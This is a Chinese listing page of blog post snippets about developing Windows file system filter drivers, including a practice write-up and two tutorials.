  • 因为没写过FSD过滤驱动,所以拿来练练手,没有什么技术含量。参考自Win内核安全与驱动开发。 先梳理一下大概的流程,就是怎么去绑定设备栈、怎么去过滤各种请求的。 首先肯定是要绑定设备栈的,来看下怎么绑定的...
  • Windows驱动_文件系统过滤驱动之三

    千次阅读 2013-07-14 21:20:11
    最近的时间多了起来,但是自己不能放松,也应该持续的学习,历史经验表明,以后的发展,都取决于空余时间,而不是工作时间...看问题,已经不仅仅的停留在问题上,技术如果仅仅是技术,那么技术就什么都不是了。    
  • Windows文件系统过滤驱动开发教程

    千次阅读 2008-04-04 01:27:00
    我感觉Windows文件系统驱动的开发能找到的资料比较少。为了让技术经验不至于遗忘和引起大家交流的兴趣我以我的工作经验撰写本教程。我的理解未必正确,有错误的地方望多多指教。有问题欢迎与我联系。我们也乐于接受...

空空如也

空空如也

1 2 3 4 5 ... 13
收藏数 254
精华内容 101
关键字:

文件过滤驱动技术